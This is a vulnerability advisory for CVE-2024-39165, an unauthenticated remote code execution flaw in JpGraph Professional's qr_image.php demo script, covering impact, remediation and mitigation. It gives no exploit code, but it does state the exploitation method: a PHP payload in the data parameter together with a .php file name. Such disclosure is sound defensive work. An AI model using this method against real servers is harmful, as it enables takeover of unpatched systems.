CVE-2024-39165
Overview
This vulnerability is a remote code execution flaw caused by improper handling of user-supplied input in the QR/demoapp/qr_image.php script of JpGraph Professional through version 4.2.6-pro. The root cause is the inclusion of an unnecessary QR/demoapp directory containing a script that processes parameters without adequate validation or sanitization, specifically the data and filename parameters. This allows execution of arbitrary PHP code when a crafted PHP payload is injected and referenced via the filename parameter.
Vulnerability Description
QR/demoapp/qr_image.php in Asial JpGraph Professional through 4.2.6-pro allows remote attackers to execute arbitrary code via a PHP payload in the data parameter in conjunction with a .php file name in the filename parameter. This occurs because an unnecessary QR/demoapp folder.is shipped with the product.
Impact
An unauthenticated remote attacker can execute arbitrary PHP code on the affected server by sending crafted requests to qr_image.php, resulting in full compromise of the hosting environment. No user interaction or privileges are required (AV:N/AC:L/PR:N/UI:N), making exploitation straightforward from the network. This can lead to data breaches, system takeover, and lateral movement within the network, severely impacting confidentiality, integrity, and availability (C:H/I:H).
Solution
Users should upgrade JpGraph Professional to a version later than 4.2.6-pro where the QR/demoapp directory is removed or secured. The Synacktiv advisory (https://synacktiv.com/en/advisories/jpgraph-professional-version-pre-authenticated-remote-code-execution) provides detailed patching instructions. If upgrading is not immediately possible, removing or restricting access to the QR/demoapp folder and the qr_image.php script is recommended as a temporary mitigation.

Full Analysis
The vulnerability in the QR/demoapp/qr_image.php file of Asial JpGraph Professional, specifically versions up to 4.2.6-pro, presents a significant risk due to its ability to allow remote code execution. This flaw arises from improper handling of user input, particularly in the data and filename parameters. Attackers can exploit this vulnerability by crafting a malicious PHP payload that is passed through these parameters. The presence of an unnecessary QR/demoapp folder within the product further exacerbates the issue, as it provides a straightforward entry point for attackers to upload and execute arbitrary code on the server, potentially leading to complete system compromise.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting web applications that utilize the affected component. An attacker could initiate a request to the vulnerable script, embedding a crafted payload within the data parameter while specifying a .php filename. If successful, this would allow the attacker to execute arbitrary PHP code on the server, leading to unauthorized access, data manipulation, or even the installation of malware. Scenarios may include an attacker gaining control over the server, exfiltrating sensitive data, or using the compromised server as a launchpad for further attacks against internal networks or other connected systems.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on Asial JpGraph Professional for data visualization and reporting. The high CVSS score of 9.8 indicates a critical risk, suggesting that successful exploitation could lead to severe consequences, including data breaches, financial loss, and reputational damage. Organizations may face regulatory scrutiny, particularly if sensitive customer data is compromised. Additionally, the potential for lateral movement within an organization’s network could lead to further exploitation, making the initial vulnerability a gateway for more extensive attacks.
To effectively detect and mitigate this vulnerability, organizations should adopt a multi-layered security approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify instances of the vulnerable component within their environments. Implementing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests before they reach the application. Furthermore, organizations should ensure that they are using the latest version of the software, as updates may contain critical patches that address known vulnerabilities. Educating developers about secure coding practices and input validation can also help prevent similar vulnerabilities in the future.
In conclusion, the vulnerability present in the QR/demoapp/qr_image.php file of Asial JpGraph Professional represents a serious threat to organizations utilizing this software. The potential for remote code execution through improper input handling poses significant risks, including unauthorized access and data breaches. By understanding the technical details of the vulnerability, recognizing potential attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the risks associated with this and similar vulnerabilities. As the cybersecurity landscape continues to evolve, proactive measures and a commitment to security best practices will be essential in safeguarding sensitive information and maintaining operational integrity.
